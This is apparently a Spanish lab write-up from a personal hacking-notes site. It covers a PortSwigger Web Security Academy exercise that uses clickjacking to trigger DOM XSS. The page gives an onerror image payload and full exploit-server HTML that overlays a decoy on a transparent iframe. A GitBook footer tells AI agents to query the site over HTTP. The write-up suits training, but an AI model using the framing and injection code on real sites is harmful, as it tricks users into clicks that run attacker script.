> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/clickjacking/clickjacking-to-trigger-dom-xss.md).

# Clickjacking para activar DOM XSS

### Explotar la vulnerabilidad de clickjacking para desencadenar XSS basada en DOM

#### Objetivo

Hacer que un usuario haga clic en un botón ("Haz clic aquí") incrustado en un iframe para ejecutar `print()` la función mediante una vulnerabilidad XSS desencadenada por clic.

<figure><img src="/files/3e7ea916f6013224c27d05e17f3085c2ff0599f6" alt=""><figcaption></figcaption></figure>

#### Contexto / Observaciones

* El **formulario de comentarios** tiene un `nombre` parámetro vulnerable a una XSS DOM (la carga útil de JavaScript se ejecuta cuando la imagen falla e invoca la función deseada).
* Ejemplo de carga útil detectada: `&name=<img src=0 onerror=print()>`.

```html
<img src=0 onerror=alert(0)>
```

<figure><img src="/files/dab84ecfe34dbb25c1d22b870df03fad77149925" alt=""><figcaption></figcaption></figure>

* Otros parámetros útiles para rellenar previamente el formulario en el marco: `correo electrónico`, `asunto`, `mensaje`.

#### Carga útil utilizada

Para activar `print()` mediante una vulnerabilidad en `nombre`:

```html
<img src=0 onerror=print()>
```

<figure><img src="/files/a25e881cf264d84afb57f4c477a7700d3abf8f8f" alt=""><figcaption></figcaption></figure>

* Incluye un `<iframe>` que apunte a la `/feedback` página vulnerable con parámetros precargados (`nombre`, `correo electrónico`, `asunto`, `mensaje`) que contienen la carga útil XSS.

```
?name=jordan&email=hello@jord4n.pro&subject=hacked&message=hack
```

<figure><img src="/files/7ab7403035db2e7e937c66b97f189ca4e6272666" alt=""><figcaption></figcaption></figure>

1. Haz que el marco sea casi invisible (opacidad muy baja) y superpone un señuelo encima, colocado de modo que el clic de la víctima llegue al botón "Haz clic aquí" dentro del marco.
2. Cuando la víctima hace clic en el señuelo, el clic se transmite al marco y se desencadena la XSS DOM — aquí `print()` se llama.

#### Ejemplo de código para alojar en el servidor de explotación

```html
<style>
iframe{
width: 1000px;
height:900px;
}
div{
position: relative;
top: 830px;
left: 80px;
}
</style>
<div>Haz clic</div>
<iframe src="https://0a6200db035e811c815e804300ac0083.web-security-academy.net/feedback?name=%3Cimg%20src=0%20onerror=print()%3E&email=hello@jord4n.pro&subject=hacked&message=hack"</iframe>
```

<figure><img src="/files/05d11e655a85ca8778502cff7dacab949d65d725" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ad8c3442a62833c266cccc697094c794a75b33eb" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/clickjacking/clickjacking-to-trigger-dom-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
